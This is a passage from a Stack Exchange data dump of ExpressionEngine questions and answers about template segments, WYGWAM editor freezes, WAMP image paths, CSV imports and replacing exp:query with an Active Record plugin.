}&#xA;&#xA;{exp:weblog:entries entry_id=&quot;{segment_2}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot; width=&quot;150&quot;&amp;gt;&#xA;                    {if image != &quot;&quot;}&amp;lt;a href=&quot;{url_title_path=&quot;/article&quot;}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; target=&quot;_blank&quot;&amp;gt;{image}&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot; width=&quot;14&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot; width=&quot;380&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{url_title_path=&quot;/article&quot;}&quot; alt=&quot;View {title}&quot; title=&quot;View {title}&quot; target=&quot;_blank&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                            {if alt_summary != &quot;&quot;}&#xA;                                {exp:strip_p}{alt_summary}{/exp:strip_p}&#xA;                            {if:else}&#xA;                                {exp:strip_p}{summary}{/exp:strip_p}&#xA;                            {/if}&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&#xA;{/exp:weblog:entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3699" LastEditorUserId="343" LastEditDate="2014-11-13T17:11:31.337" LastActivityDate="2014-11-13T19:58:14.497" Title="Using url segments to display content" Tags="|segments|entryid|newsletter|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26724" PostTypeId="2" ParentId="26709" CreationDate="2014-11-13T16:06:05.320" Score="1" Body="&lt;p&gt;One other thing to check for would be to make sure that the template hasn't somehow been set to be a static template. &lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-11-13T16:06:05.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26725" PostTypeId="2" ParentId="26723" CreationDate="2014-11-13T17:23:53.250" Score="1" Body="&lt;p&gt;I never used EECMS 1, but I gonna try to help you.&lt;/p&gt;&#xA;&lt;p&gt;There are some errors on your code.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;segment_1&lt;/code&gt; is always &lt;code&gt;newsletter&lt;/code&gt;. You never could use it on &lt;code&gt;{exp:weblog:entries entry_id=&amp;quot;{segment_1}&amp;quot; [...]&lt;/code&gt;;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if your second conditional evaluates as true, both your conditionals will evaluate, because you need a &lt;code&gt;segment_1&lt;/code&gt; to have a &lt;code&gt;segment_2&lt;/code&gt;;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if both codes are the same, you don't need two conditionals;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you want to pass more than one &lt;code&gt;id&lt;/code&gt;, you can't use the &lt;code&gt;limit&lt;/code&gt; parameter;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;EECMS 1 used &lt;code&gt;on&lt;/code&gt; and &lt;code&gt;off&lt;/code&gt; as parameter values; not &lt;code&gt;yes&lt;/code&gt; and &lt;code&gt;no&lt;/code&gt;;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;trackbacks&lt;/code&gt; was also a possible value for the &lt;code&gt;disable&lt;/code&gt; parameter on EECMS 1.&lt;/p&gt;&#xA;&lt;p&gt;Why not &lt;code&gt;http://site.com/newsletter/111|222|333|444|555|666&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You could use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &amp;quot;&amp;quot; }&#xA;&#xA;    {exp:weblog:entries entry_id=&amp;quot;{segment_2}&amp;quot; dynamic=&amp;quot;off&amp;quot; disable=&amp;quot;categories|custom_fields|member_data|pagination|trackbacks&amp;quot;}&#xA;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;150&amp;quot;&amp;gt;&#xA;                {if image != &amp;quot;&amp;quot;}&amp;lt;a href=&amp;quot;{url_title_path=&amp;quot;/article&amp;quot;}&amp;quot; alt=&amp;quot;{title}&amp;quot; title=&amp;quot;{title}&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;{image}&amp;lt;/a&amp;gt;{/if}&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;14&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;380&amp;quot;&amp;gt;&#xA;                        &amp;lt;a href=&amp;quot;{url_title_path=&amp;quot;/article&amp;quot;}&amp;quot; alt=&amp;quot;View {title}&amp;quot; title=&amp;quot;View {title}&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {if alt_summary != &amp;quot;&amp;quot;}&#xA;                            {exp:strip_p}{alt_summary}{/exp:strip_p}&#xA;                        {if:else}&#xA;                            {exp:strip_p}{summary}{/exp:strip_p}&#xA;                        {/if}&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/exp:weblog:entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Even better, you could put the conditional around the embed, to prevent its parsing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &amp;quot;&amp;quot; }&#xA;    {embed=&amp;quot;newsletter/articles&amp;quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-11-13T19:58:14.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26727" PostTypeId="1" CreationDate="2014-11-13T19:43:57.420" Score="0" ViewCount="112" Body="&lt;p&gt;I’m running into something that isn’t making sense to me … I have a client that has created this page: &lt;a href=&quot;http://teamthroughmywindow.org/about-our-project/faqs&quot; rel=&quot;nofollow&quot;&gt;http://teamthroughmywindow.org/about-our-project/faqs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions and answers are all anchor links, etc. and they used WYGWAM to create all of them.  The rest of the site uses WYGWAM as well and they CAN edit other pages successfully right now (meaning CKEditor initializes just fine.)  On this page the editor doesn’t initialize and it freezes up the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this … are there any size limits / issues with the link tool when so many anchors are used?  They were able to save the revised page (there is a lot more content now).  If not, can you offer some insight into where I may look to resolve this.  I’ve tried clearing the cache in EE and in the browser (ran into a similar issue during EE upgrades in the past and that was a browser cache issue but that doesn’t appear to be the case here as I would expect them all to fail).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to your reply.&lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2014-11-15T13:02:05.710" Title="WYGWAM failing to initialize ... one just one entry" Tags="|pixelandtonic|wygwam|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26728" PostTypeId="1" CreationDate="2014-11-13T20:33:20.147" Score="0" ViewCount="24" Body="&lt;p&gt;I have been trying to get the category links to filter properly on a news site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I click on a category I'd like to filter, it still shows everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filter worked before the restriction was implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code (The area I need help with is where &quot;entry-info&quot; starts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;11&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate=&quot;both&quot; category_group=&quot;1&quot; category=&quot;33&quot; show_empty=&quot;no&quot;}&#xA;{exp:eehive_hacksaw words=&quot;110&quot; allow=&quot;&amp;lt;a&amp;gt;&amp;lt;p&amp;gt;&amp;lt;i&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;img&amp;gt;&quot; append=&quot;&amp;amp;nbsp;&amp;lt;a href={url_title_path='news/entry'} &amp;lt;i&amp;gt;...Read more&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&quot;}&#xA;    &amp;lt;a href=&quot;{url_title_path='news/entry'}&quot;&amp;gt;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;img src=&quot;{img_news_tn}&quot; id=&quot;ed-feat01-tn&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {if sub_headline}{sub_headline}{/if}&#xA;&#xA;    {news_body}&#xA;&#xA;{/exp:eehive_hacksaw}&#xA;&amp;lt;p id=&quot;entry-info&quot;&amp;gt;Date Posted: {entry_date format='%M %j%S %Y'} | Posted in: {categories backspace=&quot;2&quot;}&amp;lt;a href=&quot;{path='news/'}&quot;&amp;gt;{category_name}{/categories}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be great. The site is set to go live next Friday and I'd like to fix this problem ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="3787" LastActivityDate="2014-11-13T20:33:20.147" Title="Category links not working after category filter is used in channel" Tags="|categories|" AnswerCount="0" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26729" PostTypeId="2" ParentId="26727" CreationDate="2014-11-13T20:51:37.843" Score="0" Body="&lt;p&gt;Depending on the content of the field, you may be hitting a limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this happen with thesis like articles for a client. This resolved it for us &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13197/wygwam-character-limit&quot;&gt;Wygwam character limit?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-11-13T20:51:37.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26730" PostTypeId="1" AcceptedAnswerId="27030" CreationDate="2014-11-13T21:04:10.297" Score="0" ViewCount="462" Body="&lt;p&gt;I have a form for event registration under my site that contains two time select fields, an arrival time and departure time. What I want to do is to have the number of hours between these two times calculated and displayed in the 'Total Hours' field automatically before the form is submitted if possible. I'm thinking that I'll need a bit of jQuery to accomplish this or perhaps by using the entry_submission_start hook. Any tips or examples for accomplishing this would be greatly appreciated! Thanks&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2014-12-05T15:36:27.157" Title="Need to calculate number of hours between two time select fields before form submission if possible" Tags="|datetime|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26731" PostTypeId="1" CreationDate="2014-11-14T00:43:41.187" Score="0" ViewCount="3440" Body="&lt;p&gt;I'm using ExpressionEngine to build a site, and have a development version running locally via WAMP. Within the root &quot;www&quot; folder, I have an &quot;ee&quot; subdirectory that acts as the root of the development site. There is an &quot;images&quot; folder directly within &quot;ee&quot; that contains all images for the site. On the live server, the image paths require &quot;/images/...&quot;, however on my dev server, if I use the same path it will map to &quot;localhost/images/...&quot; not &quot;localhost/ee/images...&quot; and therefore result in broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's an adjustment I can make to the .htaccess file to get the links mapping properly on my local server? At this point, in order to get images to show, I need to use &quot;images/...&quot; which will, in turn, not work on the live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any assistance here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2018-06-25T13:20:32.353" Title="WAMP: Properly configuring image paths on local server" Tags="|image-path|localhost|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26732" PostTypeId="2" ParentId="26731" CreationDate="2014-11-14T03:11:48.963" Score="1" Body="&lt;p&gt;It's more a Wamp problem that an EE one,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But  open this file, inside your wamp install:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wamp/bin/apache/conf/extra/httpd-vhosts.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit it and add (have to put path of your local site here: wamp/bin/apache/conf/extra/httpd-vhosts.conf&#xA;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;D:/local_site_directory/www/site_name&quot;&amp;gt;&#xA;   # maybe there is some comments here ...&#xA;  Options Indexes FollowSymLinks MultiViews&#xA;    AllowOverride all&#xA;    Require all granted&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    DocumentRoot &quot;D:/local_site_directory/www/site_name&quot;&#xA;    ServerName mysitename&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to remove the # in one line in wamp/bin/apache/conf/httpd-vhosts.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Virtual hosts&#xA;Include conf/extra/httpd-vhosts.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Restart wamp, and if you entered the right path, it would work. This setting is working with the last wamp version ,perhaps  not will work in more older ones.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-11-14T23:04:11.907" LastActivityDate="2014-11-14T23:04:11.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26733" PostTypeId="2" ParentId="26730" CreationDate="2014-11-14T11:05:50.410" Score="1" Body="&lt;p&gt;You would need to write an Accessory which uses Javascript/jQuery to grab the data in the fields (say when both fields contain something), perform the calculation and insert it into a third field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by converting the dates/times into timestamps. This will allow you to subtract one from the other. Then convert the resulting timestamp back into hours. You may also find that momentjs would be useful for this but is probably not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need this to work on other sites and you know the names of the fields it should be simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;http://pkg.io&lt;/a&gt; for a good starting point to get the necessary outline for you Accessory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I very quickly put together an Accessory for you. You'll need to change the field names within the views/accessory_datecalc.php file. Use with caution as it's very rough! &lt;a href=&quot;http://www.fantasticmachine.co.uk/downloads/datecalc.zip&quot; rel=&quot;nofollow&quot;&gt;Download it here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-14T12:14:30.320" LastActivityDate="2014-11-14T12:14:30.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26735" PostTypeId="2" ParentId="23921" CreationDate="2014-11-14T15:52:35.923" Score="0" Body="&lt;p&gt;The only way I could create rel prev and next links within paginated pages was to create a separate extension. This is where pagination is displayed with /P## within the url for the page numbers. This works fine for what I need and have tested it on EE2.9 but should work on later versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested to know if this is of use to anyone as this has been a long standing problem where I've not been able to create rel links before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be downloaded from here: &lt;a href=&quot;https://github.com/ignetic/ee-pagination-rel-links&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ignetic/ee-pagination-rel-links&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2675" LastEditorUserId="2675" LastEditDate="2014-11-17T11:19:05.233" LastActivityDate="2014-11-17T11:19:05.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26736" PostTypeId="1" CreationDate="2014-11-14T16:54:07.287" Score="0" ViewCount="51" Body="&lt;p&gt;I'm currently trying to import a CSV file using Solspace Importer, and I've mostly gotten my issues worked out. However, I have a column in my csv that needs to be imported into a Matrix field consisting of two Text fields (one required). According to the Solspace docs here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/importer/third_party_support/#pt_matrix&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/importer/third_party_support/#pt_matrix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should be able to wrap my values and comma separate them like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Column1Row1&quot;,&quot;Column1Row2&quot;,&quot;Column1Row3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this just imports one row into the Matrix field with the value &quot;Column1Row&quot;,&quot;Column1Row2&quot;,&quot;Column1Row3&quot; for the first column. At first I thought it was a parse issue, so I made sure to have my CSV files enclosed in single quotes and use that as the encloser for the import profile, so this segment of the CSV looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...,'column before matrix column','&quot;Column1Row1&quot;,&quot;Column1Row2&quot;,&quot;Column1Row3&quot;','column after matrix column',...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't work either. I've tried a myriad of enclosers and quotation depth, as well as various escapements, but it always takes the entire column in as one row. My data is coming from someone who can't use anything but Excel, and his data already required 100's of lines of macro to get right, so trying to interchange to a different data-type and formatting my columns and... well, this is why we want to use a utility like Importer. Does anyone know what CSV format Importer requires to parse into a Matrix field??&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2014-11-14T16:54:07.287" Title="Solspace Importer not splitting matrix fields from CSV file?" Tags="|matrix|solspace|solspace-importer|csv|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26737" PostTypeId="1" AcceptedAnswerId="26738" CreationDate="2014-11-14T18:38:29.080" Score="0" ViewCount="69" Body="&lt;p&gt;I have a website which until yesterday was running EE v1.6.7. Other than occasional defacing due to unpatched security vulnerabilities it was working well enough {/tongue-in-cheek}. Forced by system php upgrade to v5.4 I've upgraded the site to EE Core v2.9.2, only to discover that the &lt;code&gt;{exp:query}&lt;/code&gt; relied on heavily throughout the templates no longer work, because the query module is now part of the upgrade version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to limp the site along long enough to replace it with a new design using an entirely different software stack, without Expression Engine. Paying $300 for a to-be-discarded program is not attractive. I've nothing against EE, it's just not the right tool for this site or a good match for the rest of our organization and it's processes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE Core, what can I use as an alternative to the kinds of queries below while the new site is incubating?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;1&quot;}&#xA;    {exp:query sql=&quot;SELECT * FROM exp_categories WHERE parent_id = '1' ORDER BY cat_name ASC&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3790" LastActivityDate="2014-11-15T00:02:16.717" Title="EE Core alternative to {exp:query}?" Tags="|core|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26738" PostTypeId="2" ParentId="26737" CreationDate="2014-11-14T18:58:50.173" Score="1" Body="&lt;p&gt;if you don't mind of to write the queries as &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/database/active_record.html&quot; rel=&quot;nofollow&quot;&gt;Active Record&lt;/a&gt;, you can use the &lt;a href=&quot;https://github.com/rsanchez/activerecord&quot; rel=&quot;nofollow&quot;&gt;Active Record Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But maybe you don't need that so much as you think. Sometimes, the default tags can do the job.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For completeness sake, here is the working Active Record equivalent to the exp:query; nothing else in the templates needed to be changed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;1&quot;}&#xA;    {!--exp:query sql=&quot;SELECT * FROM exp_categories WHERE parent_id = '1' &#xA;         ORDER BY cat_name ASC&quot;--}&#xA;    {exp:activerecord&#xA;        select=&quot;*&quot;&#xA;        from=&quot;exp_categories&quot;&#xA;        where:parent_id=&quot;1&quot;&#xA;        order_by:&quot;cat_name&quot;&#xA;        }&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-11-15T00:02:16.717" LastActivityDate="2014-11-15T00:02:16.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26739" PostTypeId="1" CreationDate="2014-11-14T20:15:00.083" Score="0" ViewCount="74" Body="&lt;p&gt;How can I display entries for multiple tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;http://www.my-domain.com/products/by-tag/color/blue+red+white&quot; rel=&quot;nofollow&quot;&gt;http://www.my-domain.com/products/by-tag/color/blue+red+white&lt;/a&gt; should to display all entries which were tagged with blue and red and white &quot;color tags&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have try to split last segment by &quot;+&quot; and then loop through that array as separate &lt;code&gt;{exp:tag:entries channel=&quot;products&quot; tag=&quot;&amp;lt;?php echo $tag; ?&amp;gt;&quot;}&lt;/code&gt; but final result is kind of messy, especially when multiple pages were returned.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-11-20T14:17:18.777" LastActivityDate="2014-11-27T12:40:42.980" Title="Solspace tag - display entries for multiple tags" Tags="|channel-entries|tags|solspace-tag|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26740" PostTypeId="1" CreationDate="2014-11-14T20:32:39.807" Score="0" ViewCount="70" Body="&lt;p&gt;I have a couple of channels...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SUCCESS STORY&#xA;SERVICES&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and I am displaying single entries in the SUCCESS STORIES by {url_title}. At the bottom of the entry being viewed, I would like to display related SUCCESS STORY entries. In other words, SUCCESS STORY entries that share common SERVICES. I have a relationship field (multiple) named SERVICES USED that points to SERVICES. I am in the single entry with the following tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='success_story' &#xA;    limit='1' &#xA;    url_title='{segment_3}' &#xA;    disable='categories|member_data|pagination' &#xA;}&#xA;    ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the tag pair, I am displaying information regarding the services used like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{services_used}&#xA;    {services_used:service_copy}&#xA;        &amp;lt;div class=&quot;expand&quot;&amp;gt;{if &quot;{services_used:service_copy:headline}&quot; != &quot;&quot;}{services_used:service_copy:headline}{if:else}{services_used:title}{/if}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;collapse&quot;&amp;gt;&#xA;            {exp:eehive_hacksaw &#xA;                words='25' &#xA;                allow='&amp;lt;p&amp;gt;' &#xA;                append='...'&#xA;            }&#xA;                {services_used:service_copy:copy}&#xA;            {/exp:eehive_hacksaw}&#xA;            &amp;lt;p class=&quot;text-right&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{services_used:title_permalink='services/details'}&quot; target=&quot;_self&quot; class=&quot;button highlight small&quot;&amp;gt;Tell me more&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/services_used:service_copy}&#xA;{/services_used}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside that tag pair is where I would like to display other SUCCESS STORY entries sharing the same SERVICES listed from the SERVICES USED loop there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried the Accessing Siblings like in the docs here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-siblings&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/relationships.html#accessing-siblings&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the relationship field loop since I am already in the &quot;parent channel&quot;. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field}&#xA;    {relationship_field:siblings field=&quot;relationship_field&quot;}&#xA;        {relationship_field:siblings:title}&#xA;    {/relationship_field:siblings}&#xA;{/relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which translated to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;RELATED SUCCESS STORIES&amp;lt;/h3&amp;gt;&#xA;{services_used}&#xA;    {services_used:siblings field=&quot;services_used&quot;}&#xA;        {services_used:siblings:title}&#xA;    {/services_used:siblings}&#xA;{/services_used}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But since I already looped through the relationship field above this, I just get the tag output like an error on the screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RELATED SUCCESS STORIES&#xA;{services_used:siblings field=&quot;services_used&quot;} {services_used:siblings:title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/services_used:siblings} {services_used:siblings field=&quot;services_used&quot;} {services_used:siblings:title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/services_used:siblings} {services_used:siblings field=&quot;services_used&quot;} {services_used:siblings:title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/services_used:siblings}&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-11-15T02:50:18.427" LastActivityDate="2014-11-15T02:50:18.427" Title="EE v2.9.0 Relationship Need to display like entries" Tags="|ee2|relationships|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26741" PostTypeId="1" CreationDate="2014-11-14T21:37:56.500" Score="0" ViewCount="18" Body="&lt;p&gt;I created a category and subcategories tied to this category. I then created a new category and then went into the old &quot;main&quot; category and assigned this new category as the previous 'top' category as its parent. From the look of it, the subcategories aren't aware that they have a new parent (in the admin, nothing comes up in the listing pages as being children of this new parent category. Same goes for the front-end of the site). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to have EE run through and re-detect who the parents are? In the attached image, &quot;Handouts&quot; is the newly created parent category - you can see that it has a much higher number than the old &quot;parent&quot; which was Departments and Work Areas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CF9B0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-11-14T21:37:56.500" Title="Assign subcategories to a new parent - possible to retrofit those to relate to the new parent?" Tags="|categories|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26742" PostTypeId="2" ParentId="25500" CreationDate="2014-11-14T22:33:33.853" Score="0" Body="&lt;p&gt;I ran into the same issue with v2.9.2. The only thing that worked for me was to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hard code the full path to the css files into the head template,&lt;br&gt;&#xA;&lt;code&gt;href=&quot;/system/expressionengine/templates/default_site/stylesheets/base-css&quot;&lt;/code&gt; &#xA;instead of &lt;code&gt;href=&quot;{stylesheet='stylesheets/base-css'}&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;enable &quot;Save Template as File&quot; in the stylesheet template group.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3790" LastActivityDate="2014-11-14T22:33:33.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
